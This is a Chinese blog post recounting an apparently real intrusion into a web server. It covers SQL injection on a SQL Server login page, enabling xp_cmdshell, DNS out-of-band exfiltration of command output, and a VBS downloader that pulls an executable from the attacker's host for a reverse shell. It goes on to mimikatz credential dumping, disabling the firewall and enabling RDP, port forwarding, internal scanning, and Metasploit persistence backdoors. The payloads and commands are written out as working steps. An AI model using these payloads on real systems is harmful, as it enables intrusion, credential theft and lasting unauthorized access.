記一次滲透實戰

信息收集

用dirsearch掃了一波目錄沒有發現什麼東西web

 

直接用主站域名解析的ip訪問發現主站是掛有cdn的sql

 

 subDomainsBrute 掃描子域名shell

 

其中一個子域沒掛CDN,由此找到網站的真實ipwindows

 

 

獲得真實ip後nmap掃描發現8099端口有個未知應用服務器

訪問發現是個WEB服務,一個登錄界面app

 

漏洞利用

趁nmap還在工做的時候,簡單瀏覽了下網站的功能,僞靜態,整個網站也沒有什麼動態功能dom

 

遂把目光放在了nmap掃出的8099端口的web服務tcp

 

 

常規測試admin/admin,提示密碼錯誤sqlserver

 

l3yx/xxxx,帳號不存在測試

 

那麼能夠肯定的是這裏的帳號和密碼驗證是分開的,確有admin帳號。並且沒有驗證碼,理論上能夠爆破了,但我只手動測試了常見的幾個弱口令,無果。

當輸入一個單引號時(admin'/123123) ,驚喜來了,此處存在sqli!

因而很熟練的構造"萬能密碼",admin/x' or 'x'='x--

 

而後反應過來了,以前測試發現帳號密碼驗證是分開的,後臺的帳號密碼驗證確定並不是 where username=xxx and password=xxx 這種簡單的sql語句,因此繼續測試觀察報錯信息

帳號密碼的驗證貌似是調用了儲存過程,相似如 execute @result= verify 'xxx','xxx';

當帳號密碼爲admin/11','xx'--時,頁面返回正常

因爲不是很熟悉sqlserver使用存儲過程的注入,想嘗試構造出能成功登錄的payload沒有成功,就換種思路。

sqlserver是默承認以堆疊查詢的,因此只要把以前的語句閉合,那麼就能夠在其後執行任意sql語句,能執行任意sql語句,那麼一樣利用存儲過程就能夠執行系統命令

第一步先用以下語句開啓擴展存儲過程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',  1;RECONFIGURE;

執行系統命令

exec master..xp_cmdshell "whoami"

這裏是不會有回顯的命令執行結果的,因此用ping命令來判斷命令執行結果

 

命令執行結果DNS帶外 

有時候能執行命令卻看不見結果也是很難受的,這裏我仍是想可以觀察到命令執行結果,用到DNS帶外的方法,其實就下面一條命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

實際測試的時候爬了不少坑,當前執行目錄可能沒有寫權限,換到D目錄

目標服務器貌似沒有nslookup,換成ping

&&這兩個字符必定要編碼,不然被WEB服務器當作參數分隔符了

生成的temp文件要刪除,不然下次執行會失敗

sqlserver中一對雙引號其中的雙引號用兩個雙引號代替

 

最後的paylaod

exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell  "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell  "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";  

沒想到直接就是system權限

 

寫入VBS下載木馬

cmd命令行作不到下載文件,使用powershell容易被殺毒軟件攔截,在該服務器上測試powershell命令也不成功,因此就用vbs來下載文件

vbs下載文件腳本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe

因此先得利用sql注入執行命令把該腳本一點點寫入文件,以下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能所有用&&鏈接起來一塊兒輸入的,由於參數限制最大長度爲 128,還有在sqlserver中雙引號內輸入雙引號是須要輸入兩個雙引號的,並非用\轉義,如圖

在執行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令後,看到服務器日誌確有下載記錄

說明vbs腳本寫入成功並且確實下載了文件,可是執行 D:/x.exe 後沒有收到shell懷疑是殺毒軟件給攔了,但我確實作過免殺啊...

後來檢查發現,該服務器是32位系統,而我用的是64位的payload,天然不會成功,後面換成32位的,成功彈回shell

 

信息收集

ipconfig

查了一下ip,發現處在內網

 

查看域用戶

net group /domain 

有中文亂碼,原本想用chcp 65001切換成UTF-8代碼頁,但只要切換成UTF-8 shell就斷,不知具體緣由。不過utf-8不行的話chcp 437切換到IBM437英語好了

看到這裏是沒有域的,有點小失望

 

查看系統基本信息

systeminfo

 

查看端口,沒開3389

netstat -ano

 

查看相鄰主機IP

arp –a

抓用戶hash

解密不成功的話能夠用mimikatz直接抓取明文,metasploit已經內置,能夠直接加載

load mimikatz

而後用kerberos命令抓取

或者用mimikatz_command執行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

 

鏈接3389

目標3389是沒有開啓的,不過Win七、Win200三、XP系統可用以下命令直接開啓

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

關閉防火牆:

netsh firewall set opmode mode=disable

嘗試關閉防火牆後仍是鏈接不成功

測試發現3389端口仍然爲closed

真是被本身蠢到了...

這臺服務器是在內網,要鏈接天然的先把端口轉發到公網上啊

metasploit端口轉發:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

這句命令是將目標(-r 192.168.50.2)的3389端口(-p 3389)轉發到我服務器的3389端口(-l 3389)

而後打開遠程桌面鏈接,ip即爲我服務器的公網ip,端口因爲也是設置的3389,因此不用改

 

內網掃描

要對目標內網進行掃描須要先添加一下路由

run autoroute -s 192.168.50.2/24

 

 

使用metasploit的portscan掃描一下內網存活的主機

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit

有點慢呢,最後掃了一半還沒發現其餘主機就放棄了

 

權限維持

metasploi Metsvc模塊

這個使用很簡單

run metsvc 

實際上是給目標開了一個服務

鏈接的話使用exploit/multi/handler模塊,payload設置爲windows/metsvc_bind_tcp,設置目標ip和綁定端口31337

 

metasploi Persistence模塊

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:設置後門在用戶登陸後自啓動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加註冊表信息

-i:設置反向鏈接間隔時間,單位爲秒;

-p:設置反向鏈接的端口號;

-r:設置反向鏈接的ip地址

 清除腳本在下圖位置

若要清除後門,在meterpreter運行該腳本便可 

相關文章
相關標籤/搜索